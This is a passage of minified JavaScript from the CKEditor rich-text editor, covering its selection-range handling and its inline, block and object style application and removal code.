CKEDITOR.NODE_TEXT&&(r=f,k-=f.nodeValue.length);return{container:r,offset:-k}}k.collapse(0<m?!0:!1);k.setEndPoint(0<m?"StartToStart":"EndToStart",b);k=k.text.replace(/(\r\n|\r)/g,"\n").length;if(!k)return{container:c,offset:a(e)+(0<m?0:1)};for(;0<k;)try{f=e[0<m?"previousSibling":"nextSibling"],f.nodeType==CKEDITOR.NODE_TEXT&&(k-=f.nodeValue.length,r=f),e=f}catch(t){return{container:c,offset:a(e)}}return{container:r,offset:0<m?-k:r.nodeValue.length+k}};return function(){var a=this.getNative(),d=a&&
a.createRange(),c=this.getType();if(!a)return[];if(c==CKEDITOR.SELECTION_TEXT)return a=new CKEDITOR.dom.range(this.root),c=b(d,!0),a.setStart(new CKEDITOR.dom.node(c.container),c.offset),c=b(d),a.setEnd(new CKEDITOR.dom.node(c.container),c.offset),a.endContainer.getPosition(a.startContainer)&CKEDITOR.POSITION_PRECEDING&&a.endOffset<=a.startContainer.getIndex()&&a.collapse(),[a];if(c==CKEDITOR.SELECTION_ELEMENT){for(var c=[],g=0;g<d.length;g++){for(var e=d.item(g),f=e.parentNode,k=0,a=new CKEDITOR.dom.range(this.root);k<
f.childNodes.length&&f.childNodes[k]!=e;k++);a.setStart(new CKEDITOR.dom.node(f),k);a.setEnd(new CKEDITOR.dom.node(f),k+1);c.push(a)}return c}return[]}}():function(){var a=[],b,d=this.getNative();if(!d)return a;for(var c=0;c<d.rangeCount;c++){var g=d.getRangeAt(c);b=new CKEDITOR.dom.range(this.root);b.setStart(new CKEDITOR.dom.node(g.startContainer),g.startOffset);b.setEnd(new CKEDITOR.dom.node(g.endContainer),g.endOffset);a.push(b)}return a};return function(b){var d=this._.cache,c=d.ranges;c||(d.ranges=
c=new CKEDITOR.dom.rangeList(a.call(this)));return b?p(new CKEDITOR.dom.rangeList(c.slice())):c}}(),getStartElement:function(){var a=this._.cache;if(void 0!==a.startElement)return a.startElement;var b;switch(this.getType()){case CKEDITOR.SELECTION_ELEMENT:return this.getSelectedElement();case CKEDITOR.SELECTION_TEXT:var d=this.getRanges()[0];if(d){if(d.collapsed)b=d.startContainer,b.type!=CKEDITOR.NODE_ELEMENT&&(b=b.getParent());else{for(d.optimize();b=d.startContainer,d.startOffset==(b.getChildCount?
b.getChildCount():b.getLength())&&!b.isBlockBoundary();)d.setStartAfter(b);b=d.startContainer;if(b.type!=CKEDITOR.NODE_ELEMENT)return b.getParent();if((b=b.getChild(d.startOffset))&&b.type==CKEDITOR.NODE_ELEMENT)for(d=b.getFirst();d&&d.type==CKEDITOR.NODE_ELEMENT;)b=d,d=d.getFirst();else b=d.startContainer}b=b.$}}return a.startElement=b?new CKEDITOR.dom.element(b):null},getSelectedElement:function(){var a=this._.cache;if(void 0!==a.selectedElement)return a.selectedElement;var b=this,d=CKEDITOR.tools.tryThese(function(){return b.getNative().createRange().item(0)},
function(){for(var a=b.getRanges()[0].clone(),d,c,g=2;g&&!((d=a.getEnclosedNode())&&d.type==CKEDITOR.NODE_ELEMENT&&G[d.getName()]&&(c=d));g--)a.shrink(CKEDITOR.SHRINK_ELEMENT);return c&&c.$});return a.selectedElement=d?new CKEDITOR.dom.element(d):null},getSelectedText:function(){var a=this._.cache;if(void 0!==a.selectedText)return a.selectedText;var b=this.getNative(),b=u?"Control"==b.type?"":b.createRange().text:b.toString();return a.selectedText=b},lock:function(){this.getRanges();this.getStartElement();
this.getSelectedElement();this.getSelectedText();this._.cache.nativeSel=null;this.isLocked=1},unlock:function(a){if(this.isLocked){if(a)var b=this.getSelectedElement(),d=this.getRanges(),g=this.isFake;this.isLocked=0;this.reset();a&&(a=b||d[0]&&d[0].getCommonAncestor())&&a.getAscendant("body",1)&&((a=this.root.editor)&&a.plugins.tableselection&&a.plugins.tableselection.isSupportedEnvironment(a)&&f(d)?c.call(this,d):g?this.fake(b):b&&2>d.length?this.selectElement(b):this.selectRanges(d))}},reset:function(){this._.cache=
{};this.isFake=0;var a=this.root.editor;if(a&&a._.fakeSelection)if(this.rev==a._.fakeSelection.rev){delete a._.fakeSelection;var b=a._.hiddenSelectionContainer;if(b){var d=a.checkDirty();a.fire("lockSnapshot");b.remove();a.fire("unlockSnapshot");!d&&a.resetDirty()}delete a._.hiddenSelectionContainer}else CKEDITOR.warn("selection-fake-reset");this.rev=x++},selectElement:function(a){var b=new CKEDITOR.dom.range(this.root);b.setStartBefore(a);b.setEndAfter(a);this.selectRanges([b])},selectRanges:function(a){var b=
this.root.editor,d=b&&b._.hiddenSelectionContainer;this.reset();if(d)for(var d=this.root,e,h=0;h<a.length;++h)e=a[h],e.endContainer.equals(d)&&(e.endOffset=Math.min(e.endOffset,d.getChildCount()));if(a.length)if(this.isLocked){var l=CKEDITOR.document.getActive();this.unlock();this.selectRanges(a);this.lock();l&&!l.equals(this.root)&&l.focus()}else{var m;a:{var C,r;if(1==a.length&&!(r=a[0]).collapsed&&(m=r.getEnclosedNode())&&m.type==CKEDITOR.NODE_ELEMENT&&(r=r.clone(),r.shrink(CKEDITOR.SHRINK_ELEMENT,
!0),(C=r.getEnclosedNode())&&C.type==CKEDITOR.NODE_ELEMENT&&(m=C),"false"==m.getAttribute("contenteditable")))break a;m=void 0}if(m)this.fake(m);else if(b&&b.plugins.tableselection&&b.plugins.tableselection.isSupportedEnvironment(b)&&f(a)&&!v&&!a[0]._getTableElement({table:1}).hasAttribute("data-cke-tableselection-ignored"))c.call(this,a);else{if(u){C=CKEDITOR.dom.walker.whitespaces(!0);m=/\ufeff|\u00a0/;r={table:1,tbody:1,tr:1};1<a.length&&(b=a[a.length-1],a[0].setEnd(b.endContainer,b.endOffset));
b=a[0];a=b.collapsed;var t,x,p;if((d=b.getEnclosedNode())&&d.type==CKEDITOR.NODE_ELEMENT&&d.getName()in G&&(!d.is("a")||!d.getText()))try{p=d.$.createControlRange();p.addElement(d.$);p.select();return}catch(z){}if(b.startContainer.type==CKEDITOR.NODE_ELEMENT&&b.startContainer.getName()in r||b.endContainer.type==CKEDITOR.NODE_ELEMENT&&b.endContainer.getName()in r)b.shrink(CKEDITOR.NODE_ELEMENT,!0),a=b.collapsed;p=b.createBookmark();r=p.startNode;a||(l=p.endNode);p=b.document.$.body.createTextRange();
p.moveToElementText(r.$);p.moveStart("character",1);l?(m=b.document.$.body.createTextRange(),m.moveToElementText(l.$),p.setEndPoint("EndToEnd",m),p.moveEnd("character",-1)):(t=r.getNext(C),x=r.hasAscendant("pre"),t=!(t&&t.getText&&t.getText().match(m))&&(x||!r.hasPrevious()||r.getPrevious().is&&r.getPrevious().is("br")),x=b.document.createElement("span"),x.setHtml("\x26#65279;"),x.insertBefore(r),t&&b.document.createText("").insertBefore(r));b.setStartBefore(r);r.remove();a?(t?(p.moveStart("character",
-1),p.select(),b.document.$.selection.clear()):p.select(),b.moveToPosition(x,CKEDITOR.POSITION_BEFORE_START),x.remove()):(b.setEndBefore(l),l.remove(),p.select())}else{l=this.getNative();if(!l)return;this.removeAllRanges();for(p=0;p<a.length;p++){if(p<a.length-1&&(t=a[p],x=a[p+1],m=t.clone(),m.setStart(t.endContainer,t.endOffset),m.setEnd(x.startContainer,x.startOffset),!m.collapsed&&(m.shrink(CKEDITOR.NODE_ELEMENT,!0),b=m.getCommonAncestor(),m=m.getEnclosedNode(),b.isReadOnly()||m&&m.isReadOnly()))){x.setStart(t.startContainer,
t.startOffset);a.splice(p--,1);continue}b=a[p];x=this.document.$.createRange();b.collapsed&&CKEDITOR.env.webkit&&k(b)&&(m=g(this.root),b.insertNode(m),(t=m.getNext())&&!m.getPrevious()&&t.type==CKEDITOR.NODE_ELEMENT&&"br"==t.getName()?(n(this.root),b.moveToPosition(t,CKEDITOR.POSITION_BEFORE_START)):b.moveToPosition(m,CKEDITOR.POSITION_AFTER_END));x.setStart(b.startContainer.$,b.startOffset);try{x.setEnd(b.endContainer.$,b.endOffset)}catch(w){if(0<=w.toString().indexOf("NS_ERROR_ILLEGAL_VALUE"))b.collapse(1),
x.setEnd(b.endContainer.$,b.endOffset);else throw w;}l.addRange(x)}}this.reset();this.root.fire("selectionchange")}}},fake:function(a,b){var d=this.root.editor;void 0===b&&a.hasAttribute("aria-label")&&(b=a.getAttribute("aria-label"));this.reset();w(d,b);var c=this._.cache,g=new CKEDITOR.dom.range(this.root);g.setStartBefore(a);g.setEndAfter(a);c.ranges=new CKEDITOR.dom.rangeList(g);c.selectedElement=c.startElement=a;c.type=CKEDITOR.SELECTION_ELEMENT;c.selectedText=c.nativeSel=null;this.isFake=1;
this.rev=x++;d._.fakeSelection=this;this.root.fire("selectionchange")},isHidden:function(){var a=this.getCommonAncestor();a&&a.type==CKEDITOR.NODE_TEXT&&(a=a.getParent());return!(!a||!a.data("cke-hidden-sel"))},isInTable:function(a){return f(this.getRanges(),a)},isCollapsed:function(){var a=this.getRanges();return 1===a.length&&a[0].collapsed},createBookmarks:function(a){a=this.getRanges().createBookmarks(a);this.isFake&&(a.isFake=1);return a},createBookmarks2:function(a){a=this.getRanges().createBookmarks2(a);
this.isFake&&(a.isFake=1);return a},selectBookmarks:function(a){for(var b=[],d,c=0;c<a.length;c++){var g=new CKEDITOR.dom.range(this.root);g.moveToBookmark(a[c]);b.push(g)}a.isFake&&(d=f(b)?b[0]._getTableElement():b[0].getEnclosedNode(),d&&d.type==CKEDITOR.NODE_ELEMENT||(CKEDITOR.warn("selection-not-fake"),a.isFake=0));a.isFake&&!f(b)?this.fake(d):this.selectRanges(b);return this},getCommonAncestor:function(){var a=this.getRanges();return a.length?a[0].startContainer.getCommonAncestor(a[a.length-
1].endContainer):null},scrollIntoView:function(){this.getType()!=CKEDITOR.SELECTION_NONE&&this.getRanges()[0].scrollIntoView()},removeAllRanges:function(){if(this.getType()!=CKEDITOR.SELECTION_NONE){var a=this.getNative();try{a&&a[u?"empty":"removeAllRanges"]()}catch(b){}this.reset()}}}})();"use strict";CKEDITOR.STYLE_BLOCK=1;CKEDITOR.STYLE_INLINE=2;CKEDITOR.STYLE_OBJECT=3;(function(){function a(a,b){for(var d,c;(a=a.getParent())&&!a.equals(b);)if(a.getAttribute("data-nostyle"))d=a;else if(!c){var g=
a.getAttribute("contentEditable");"false"==g?d=a:"true"==g&&(c=1)}return d}function f(a,b,d,c){return(a.getPosition(b)|c)==c&&(!d.childRule||d.childRule(a))}function e(b){var d=b.document;if(b.collapsed)d=x(this,d),b.insertNode(d),b.moveToPosition(d,CKEDITOR.POSITION_BEFORE_END);else{var g=this.element,k=this._.definition,h,n=k.ignoreReadonly,l=n||k.includeReadonly;null==l&&(l=b.root.getCustomData("cke_includeReadonly"));var m=CKEDITOR.dtd[g];m||(h=!0,m=CKEDITOR.dtd.span);b.enlarge(CKEDITOR.ENLARGE_INLINE,
1);b.trim();var r=b.createBookmark(),t=r.startNode,u=r.endNode,p=t,v;if(!n){var z=b.getCommonAncestor(),n=a(t,z),z=a(u,z);n&&(p=n.getNextSourceNode(!0));z&&(u=z)}for(p.getPosition(u)==CKEDITOR.POSITION_FOLLOWING&&(p=0);p;){n=!1;if(p.equals(u))p=null,n=!0;else{var w=p.type==CKEDITOR.NODE_ELEMENT?p.getName():null,z=w&&"false"==p.getAttribute("contentEditable"),y=w&&-1!==CKEDITOR.tools.array.indexOf(CKEDITOR.style.unstylableElements,w),y=w&&(p.getAttribute("data-nostyle")||y);if(w&&p.data("cke-bookmark")||
p.type===CKEDITOR.NODE_COMMENT){p=p.getNextSourceNode(!0);continue}if(z&&l&&CKEDITOR.dtd.$block[w])for(var B=p,A=c(B),G=void 0,N=A.length,ca=0,B=N&&new CKEDITOR.dom.range(B.getDocument());ca<N;++ca){var G=A[ca],ea=CKEDITOR.filter.instances[G.data("cke-filter")];if(ea?ea.check(this):1)B.selectNodeContents(G),e.call(this,B)}A=w?!m[w]||y?0:z&&!l?0:f(p,u,k,M):1;if(A)if(G=p.getParent(),A=k,N=g,ca=h,!G||!(G.getDtd()||CKEDITOR.dtd.span)[N]&&!ca||A.parentRule&&!A.parentRule(G))n=!0;else{if(v||w&&CKEDITOR.dtd.$removeEmpty[w]&&
(p.getPosition(u)|M)!=M||(v=b.clone(),v.setStartBefore(p)),w=p.type,w==CKEDITOR.NODE_TEXT||z||w==CKEDITOR.NODE_ELEMENT&&!p.getChildCount()){for(var w=p,ga;(n=!w.getNext(H))&&(ga=w.getParent(),m[ga.getName()])&&f(ga,t,k,I);)w=ga;v.setEndAfter(w)}}else n=!0;p=p.getNextSourceNode(y||z)}if(n&&v&&!v.collapsed){for(var n=x(this,d),z=n.hasAttributes(),y=v.getCommonAncestor(),w={},A={},G={},N={},fa,D,E;n&&y;){if(y.getName()==g){for(fa in k.attributes)!N[fa]&&(E=y.getAttribute(D))&&(n.getAttribute(fa)==E?
A[fa]=1:N[fa]=1);for(D in k.styles)!G[D]&&(E=y.getStyle(D))&&(n.getStyle(D)==E?w[D]=1:G[D]=1)}y=y.getParent()}for(fa in A)n.removeAttribute(fa);for(D in w)n.removeStyle(D);z&&!n.hasAttributes()&&(n=null);n?(v.extractContents().appendTo(n),v.insertNode(n),q.call(this,n),n.mergeSiblings(),CKEDITOR.env.ie||n.$.normalize()):(n=new CKEDITOR.dom.element("span"),v.extractContents().appendTo(n),v.insertNode(n),q.call(this,n),n.remove(!0));v=null}}b.moveToBookmark(r);b.shrink(CKEDITOR.SHRINK_TEXT);b.shrink(CKEDITOR.NODE_ELEMENT,
!0)}}function b(a){function b(){for(var a=new CKEDITOR.dom.elementPath(c.getParent()),d=new CKEDITOR.dom.elementPath(l.getParent()),g=null,e=null,f=0;f<a.elements.length;f++){var k=a.elements[f];if(k==a.block||k==a.blockLimit)break;m.checkElementRemovable(k,!0)&&(g=k)}for(f=0;f<d.elements.length;f++){k=d.elements[f];if(k==d.block||k==d.blockLimit)break;m.checkElementRemovable(k,!0)&&(e=k)}e&&l.breakParent(e);g&&c.breakParent(g)}a.enlarge(CKEDITOR.ENLARGE_INLINE,1);var d=a.createBookmark(),c=d.startNode,
g=this._.definition.alwaysRemoveElement;if(a.collapsed){for(var e=new CKEDITOR.dom.elementPath(c.getParent(),a.root),f,k=0,h;k<e.elements.length&&(h=e.elements[k])&&h!=e.block&&h!=e.blockLimit;k++)if(this.checkElementRemovable(h)){var n;!g&&a.collapsed&&(a.checkBoundaryOfElement(h,CKEDITOR.END)||(n=a.checkBoundaryOfElement(h,CKEDITOR.START)))?(f=h,f.match=n?"start":"end"):(h.mergeSiblings(),h.is(this.element)?w.call(this,h):p(h,v(this)[h.getName()]))}if(f){g=c;for(k=0;;k++){h=e.elements[k];if(h.equals(f))break;
else if(h.match)continue;else h=h.clone();h.append(g);g=h}g["start"==f.match?"insertBefore":"insertAfter"](f)}}else{var l=d.endNode,m=this;b();for(e=c;!e.equals(l);)f=e.getNextSourceNode(),e.type==CKEDITOR.NODE_ELEMENT&&this.checkElementRemovable(e)&&(e.getName()==this.element?w.call(this,e):p(e,v(this)[e.getName()]),f.type==CKEDITOR.NODE_ELEMENT&&f.contains(c)&&(b(),f=c.getNext())),e=f}a.moveToBookmark(d);a.shrink(CKEDITOR.NODE_ELEMENT,!0)}function c(a){var b=[];a.forEach(function(a){if("true"==
a.getAttribute("contenteditable"))return b.push(a),!1},CKEDITOR.NODE_ELEMENT,!0);return b}function m(a){var b=a.getEnclosedNode()||a.getCommonAncestor(!1,!0);(a=(new CKEDITOR.dom.elementPath(b,a.root)).contains(this.element,1))&&!a.isReadOnly()&&t(a,this)}function h(a){var b=a.getCommonAncestor(!0,!0);if(a=(new CKEDITOR.dom.elementPath(b,a.root)).contains(this.element,1)){var b=this._.definition,d=b.attributes;if(d)for(var c in d)a.removeAttribute(c,d[c]);if(b.styles)for(var g in b.styles)b.styles.hasOwnProperty(g)&&
a.removeStyle(g)}}function l(a){var b=a.createBookmark(!0),d=a.createIterator();d.enforceRealBlocks=!0;this._.enterMode&&(d.enlargeBr=this._.enterMode!=CKEDITOR.ENTER_BR);for(var c,g=a.document,e;c=d.getNextParagraph();)!c.isReadOnly()&&(d.activeFilter?d.activeFilter.check(this):1)&&(e=x(this,g,c),k(c,e));a.moveToBookmark(b)}function d(a){var b=a.createBookmark(1),d=a.createIterator();d.enforceRealBlocks=!0;d.enlargeBr=this._.enterMode!=CKEDITOR.ENTER_BR;for(var c,g;c=d.getNextParagraph();)this.checkElementRemovable(c)&&
(c.is("pre")?((g=this._.enterMode==CKEDITOR.ENTER_BR?null:a.document.createElement(this._.enterMode==CKEDITOR.ENTER_P?"p":"div"))&&c.copyAttributes(g),k(c,g)):w.call(this,c));a.moveToBookmark(b)}function k(a,b){var d=!b;d&&(b=a.getDocument().createElement("div"),a.copyAttributes(b));var c=b&&b.is("pre"),e=a.is("pre"),f=!c&&e;if(c&&!e){e=b;(f=a.getBogus())&&f.remove();f=a.getHtml();f=n(f,/(?:^[ \t\n\r]+)|(?:[ \t\n\r]+$)/g,"");f=f.replace(/[ \t\r\n]*(<br[^>]*>)[ \t\r\n]*/gi,"$1");f=f.replace(/([ \t\n\r]+| )/g,
" ");f=f.replace(/<br\b[^>]*>/gi,"\n");if(CKEDITOR.env.ie){var k=a.getDocument().createElement("div");k.append(e);e.$.outerHTML="\x3cpre\x3e"+f+"\x3c/pre\x3e";e.copyAttributes(k.getFirst());e=k.getFirst().remove()}else e.setHtml(f);b=e}else f?b=r(d?[a.getHtml()]:g(a),b):a.moveChildren(b);b.replace(a);if(c){var d=b,h;(h=d.getPrevious(F))&&h.type==CKEDITOR.NODE_ELEMENT&&h.is("pre")&&(c=n(h.getHtml(),/\n$/,"")+"\n\n"+n(d.getHtml(),/^\n/,""),CKEDITOR.env.ie?d.$.outerHTML="\x3cpre\x3e"+c+"\x3c/pre\x3e":
d.setHtml(c),h.remove())}else d&&u(b)}function g(a){var b=[];n(a.getOuterHtml(),/(\S\s*)\n(?:\s|(<span[^>]+data-cke-bookmark.*?\/span>))*\n(?!$)/gi,function(a,b,d){return b+"\x3c/pre\x3e"+d+"\x3cpre\x3e"}).replace(/<pre\b.*?>([\s\S]*?)<\/pre>/gi,function(a,d){b.push(d)});return b}function n(a,b,d){var c="",g="";a=a.replace(/(^<span[^>]+data-cke-bookmark.*?\/span>)|(<span[^>]+data-cke-bookmark.*?\/span>$)/gi,function(a,b,d){b&&(c=b);d&&(g=d);return""});return c+a.replace(b,d)+g}function r(a,b){var d;
1<a.length&&(d=new CKEDITOR.dom.documentFragment(b.getDocument()));for(var c=0;c<a.length;c++){var g=a[c],g=g.replace(/(\r\n|\r)/g,"\n"),g=n(g,/^[ \t]*\n/,""),g=n(g,/\n$/,""),g=n(g,/^[ \t]+|[ \t]+$/g,function(a,b){return 1==a.length?"\x26nbsp;":b?" "+CKEDITOR.tools.repeat("\x26nbsp;",a.length-1):CKEDITOR.tools.repeat("\x26nbsp;",a.length-1)+" "}),g=g.replace(/\n/g,"\x3cbr\x3e"),g=g.replace(/[ \t]{2,}/g,function(a){return CKEDITOR.tools.repeat("\x26nbsp;",a.length-1)+" "});if(d){var e=b.clone();e.setHtml(g);
d.append(e)}else b.setHtml(g)}return d||b}function w(a,b){var d=this._.definition,c=d.attributes,d=d.styles,g=v(this)[a.getName()],e=CKEDITOR.tools.isEmpty(c)&&CKEDITOR.tools.isEmpty(d),f;for(f in c)if("class"!=f&&!this._.definition.fullMatch||a.getAttribute(f)==y(f,c[f]))b&&"data-"==f.slice(0,5)||(e=a.hasAttribute(f),a.removeAttribute(f));for(var k in d)this._.definition.fullMatch&&a.getStyle(k)!=y(k,d[k],!0)||(e=e||!!a.getStyle(k),a.removeStyle(k));p(a,g,D[a.getName()]);e&&(this._.definition.alwaysRemoveElement?
u(a,1):!CKEDITOR.dtd.$block[a.getName()]||this._.enterMode==CKEDITOR.ENTER_BR&&!a.hasAttributes()?u(a):a.renameNode(this._.enterMode==CKEDITOR.ENTER_P?"p":"div"))}function q(a){for(var b=v(this),d=a.getElementsByTag(this.element),c,g=d.count();0<=--g;)c=d.getItem(g),c.isReadOnly()||w.call(this,c,!0);for(var e in b)if(e!=this.element)for(d=a.getElementsByTag(e),g=d.count()-1;0<=g;g--)c=d.getItem(g),c.isReadOnly()||p(c,b[e])}function p(a,b,d){if(b=b&&b.attributes)for(var c=0;c<b.length;c++){var g=b[c][0],
e;if(e=a.getAttribute(g)){var f=b[c][1];(null===f||f.test&&f.test(e)||"string"==typeof f&&e==f)&&a.removeAttribute(g)}}d||u(a)}function u(a,b){if(!a.hasAttributes()||b)if(CKEDITOR.dtd.$block[a.getName()]){var d=a.getPrevious(F),c=a.getNext(F);!d||d.type!=CKEDITOR.NODE_TEXT&&d.isBlockBoundary({br:1})||a.append("br",1);!c||c.type!=CKEDITOR.NODE_TEXT&&c.isBlockBoundary({br:1})||a.append("br");a.remove(!0)}else d=a.getFirst(),c=a.getLast(),a.remove(!0),d&&(d.type==CKEDITOR.NODE_ELEMENT&&d.mergeSiblings(),
c&&!d.equals(c)&&c.type==CKEDITOR.NODE_ELEMENT&&c.mergeSiblings())}function x(a,b,d){var c;c=a.element;"*"==c&&(c="span");c=new CKEDITOR.dom.element(c,b);d&&d.copyAttributes(c);c=t(c,a);b.getCustomData("doc_processing_style")&&c.hasAttribute("id")?c.removeAttribute("id"):b.setCustomData("doc_processing_style",1);return c}function t(a,b){var d=b._.definition,c=d.attributes,d=CKEDITOR.style.getStyleText(d);if(c)for(var g in c)a.setAttribute(g,c[g]);d&&a.setAttribute("style",d);a.getDocument().removeCustomData("doc_processing_style");
return a}function B(a,b){for(var d in a)a[d]=a[d].replace(J,function(a,d){return b[d]})}function v(a){if(a._.overrides)return a._.overrides;var b=a._.overrides={},d=a._.definition.overrides;if(d){CKEDITOR.tools.isArray(d)||(d=[d]);for(var c=0;c<d.length;c++){var g=d[c],e,f;"string"==typeof g?e=g.toLowerCase():(e=g.element?g.element.toLowerCase():a.element,f=g.attributes);g=b[e]||(b[e]={});if(f){var g=g.attributes=g.attributes||[],k;for(k in f)g.push([k.toLowerCase(),f[k]])}}}return b}function y(a,
b,d){var c=new CKEDITOR.dom.element("span");c[d?"setStyle":"setAttribute"](a,b);return c[d?"getStyle":"getAttribute"](a)}function z(a,b){function d(a,b){return"font-family"==b.toLowerCase()?a.replace(/["']/g,""):a}"string"==typeof a&&(a=CKEDITOR.tools.parseCssText(a));"string"==typeof b&&(b=CKEDITOR.tools.parseCssText(b,!0));for(var c in a)if(!(c in b)||d(b[c],c)!=d(a[c],c)&&"inherit"!=a[c]&&"inherit"!=b[c])return!1;return!0}function A(a,b,d){var c=a.getRanges();b=b?this.removeFromRange:this.applyToRange;
for(var g,e=c.createIterator();g=e.getNextRange();)b.call(this,g,d);a.selectRanges(c)}var D={address:1,div:1,h1:1,h2:1,h3:1,h4:1,h5:1,h6:1,p:1,pre:1,section:1,header:1,footer:1,nav:1,article:1,aside:1,figure:1,dialog:1,hgroup:1,time:1,meter:1,menu:1,command:1,keygen:1,output:1,progress:1,details:1,datagrid:1,datalist:1},G={a:1,blockquote:1,embed:1,hr:1,img:1,li:1,object:1,ol:1,table:1,td:1,tr:1,th:1,ul:1,dl:1,dt:1,dd:1,form:1,audio:1,video:1},E=/\s*(?:;\s*|$)/,J=/#\((.+?)\)/g,H=CKEDITOR.dom.walker.bookmark(0,
1),F=CKEDITOR.dom.walker.whitespaces(1);CKEDITOR.style=function(a,b){if("string"==typeof a.type)return new CKEDITOR.style.customHandlers[a.type](a);var d=a.attributes;d&&d.style&&(a.styles=CKEDITOR.tools.extend({},a.styles,CKEDITOR.tools.parseCssText(d.style)),delete d.style);b&&(a=CKEDITOR.tools.clone(a),B(a.attributes,b),B(a.styles,b));d=this.element=a.element?"string"==typeof a.element?a.element.toLowerCase():a.element:"*";this.type=a.type||(D[d]?CKEDITOR.STYLE_BLOCK:G[d]?CKEDITOR.STYLE_OBJECT:
CKEDITOR.STYLE_INLINE);"object"==typeof this.element&&(this.type=CKEDITOR.STYLE_OBJECT);this._={definition:a}};CKEDITOR.style.prototype={apply:function(a){if(a instanceof CKEDITOR.dom.document)return A.call(this,a.getSelection());if(this.checkApplicable(a.elementPath(),a)){var b=this._.enterMode;b||(this._.enterMode=a.activeEnterMode);A.call(this,a.getSelection(),0,a);this._.enterMode=b}},remove:function(a){if(a instanceof CKEDITOR.dom.document)return A.call(this,a.getSelection(),1);if(this.checkApplicable(a.elementPath(),
a)){var b=this._.enterMode;b||(this._.enterMode=a.activeEnterMode);A.call(this,a.getSelection(),1,a);this._.enterMode=b}},applyToRange:function(a){this.applyToRange=this.type==CKEDITOR.STYLE_INLINE?e:this.type==CKEDITOR.STYLE_BLOCK?l:this.type==CKEDITOR.STYLE_OBJECT?m:null;return this.applyToRange(a)},removeFromRange:function(a){this.removeFromRange=this.type==CKEDITOR.STYLE_INLINE?b:this.type==CKEDITOR.STYLE_BLOCK?d:this.type==CKEDITOR.STYLE_OBJECT?h:null;return this.removeFromRange(a)},applyToObject:function(a){t(a,
this)},checkActive:function(a,b){switch(this.type){case CKEDITOR.STYLE_BLOCK:return this.checkElementRemovable(a.block||a.blockLimit,!0,b);case CKEDITOR.STYLE_OBJECT:case CKEDITOR.STYLE_INLINE:for(var d=a.elements,c=0,g;c<d.length;c++)if(g=d[c],this.type!=CKEDITOR.STYLE_INLINE||g!=a.block&&g!=a.blockLimit){if(this.type==CKEDITOR.STYLE_OBJECT){var e=g.getName();if(!("string"==typeof this.element?e==this.element:e in this.element))continue}if(this.checkElementRemovable(g,!0,b))return!0}}return!1},checkApplicable:function(a,
b,d){b&&b instanceof CKEDITOR.filter&&(d=b);if(d&&!d.check(this))return!1;switch(this.type){case CKEDITOR.STYLE_OBJECT:return!!a.contains(this.element);case CKEDITOR.STYLE_BLOCK:return!!a.blockLimit.getDtd()[this.element]}return!0},checkElementMatch:function(a,b){var d=this._.definition;if(!a||!d.ignoreReadonly&&a.isReadOnly())return!1;var c=a.getName();if("string"==typeof this.element?c==this.element:c in this.element){if(!b&&!a.hasAttributes())return!0;if(c=d._AC)d=c;else{var c={},g=0,e=d.attributes;
if(e)for(var f in e)g++,c[f]=e[f];if(f=CKEDITOR.style.getStyleText(d))c.style||g++,c.style=f;c._length=g;d=d._AC=c}if(d._length){for(var k in d)if("_length"!=k)if(c=a.getAttribute(k)||"","style"==k?z(d[k],c):d[k]==c){if(!b)return!0}else if(b)return!1;if(b)return!0}else return!0}return!1},checkElementRemovable:function(a,b,d){if(this.checkElementMatch(a,b,d))return!0;if(b=v(this)[a.getName()]){var c;if(!(b=b.attributes))return!0;for(d=0;d<b.length;d++)if(c=b[d][0],c=a.getAttribute(c)){var g=b[d][1];
if(null===g)return!0;if("string"==typeof g){if(c==g)return!0}else if(g.test(c))return!0}}return!1},buildPreview:function(a){var b=this._.definition,d=[],c=b.element;"bdo"==c&&(c="span");var d=["\x3c",c],g=b.attributes;if(g)for(var e in g)d.push(" ",e,'\x3d"',g[e],'"');(g=CKEDITOR.style.getStyleText(b))&&d.push(' style\x3d"',g,'"');d.push("\x3e",a||b.name,"\x3c/",c,"\x3e");return d.join("")},getDefinition:function(){return this._.definition}};CKEDITOR.style.getStyleText=function(a){var b=a._ST;if(b)return b;
var b=a.styles,d=a.attributes&&a.attributes.style||"",c="";d.length&&(d=d.replace(E,";"));for(var g in b){var e=b[g],f=(g+":"+e).replace(E,";");"inherit"==e?c+=f:d+=f}d.length&&(d=CKEDITOR.tools.normalizeCssText(d,!0));return a._ST=d+c};CKEDITOR.style.customHandlers={};CKEDITOR.style.unstylableElements=[];CKEDITOR.style.addCustomHandler=function(a){var b=function(a){this._={definition:a};this.setup&&this.setup(a)};b.prototype=CKEDITOR.tools.extend(CKEDITOR.tools.prototypedCopy(CKEDITOR.style.prototype),
{assignedTo:CKEDITOR.STYLE_OBJECT},a,!0);return this.customHandlers[a.type]=b};var M=CKEDITOR.POSITION_PRECEDING|CKEDITOR.POSITION_IDENTICAL|CKEDITOR.POSITION_IS_CONTAINED,I=CKEDITOR.POSITION_FOLLOWING|CKEDITOR.POSITION_IDENTICAL|CKEDITOR.POSITION_IS_CONTAINED})();CKEDITOR.styleCommand=function(a,f){this.requiredContent=this.allowedContent=this.style=a;CKEDITOR.tools.extend(this,f,!0)};CKEDITOR.styleCommand.prototype.exec=function(a){a.focus();this.state==CKEDITOR.TRISTATE_OFF?a.applyStyle(this.style):
this.state==CKEDITOR.TRISTATE_ON&&a.removeStyle(this.style)};CKEDITOR.stylesSet=new CKEDITOR.resourceManager("","stylesSet");CKEDITOR.addStylesSet=CKEDITOR.tools.bind(CKEDITOR.stylesSet.add,CKEDITOR.stylesSet);CKEDITOR.loadStylesSet=function(a,f,e){CKEDITOR.stylesSet.addExternal(a,f,"");CKEDITOR.stylesSet.load(a,e)};CKEDITOR.tools.extend(CKEDITOR.editor.prototype,{attachStyleStateChange:function(a,f){var e=this._.styleStateChangeCallbacks;e||(e=this._.styleStateChangeCallbacks=[],this.on("selectionChange",
function(a){for(var c=0;c<e.length;c++){var f=e[c],h=f.style.checkActive(a.data.path,this)?CKEDITOR.TRISTATE_ON:CKEDITOR.TRISTATE_OFF;f.fn.call(this,h)}}));e.push({style:a,fn:f})},applyStyle:function(a){a.apply(this)},removeStyle:function(a){a.remove(this)},getStylesSet:function(a){if(this._.stylesDefinitions)a(this._.stylesDefinitions);else{var f=this,e=f.config.stylesCombo_stylesSet||f.config.stylesSet;if(!1===e)a(null);else if(e instanceof Array)f._.stylesDefinitions=e,a(e);else{e||(e="default");
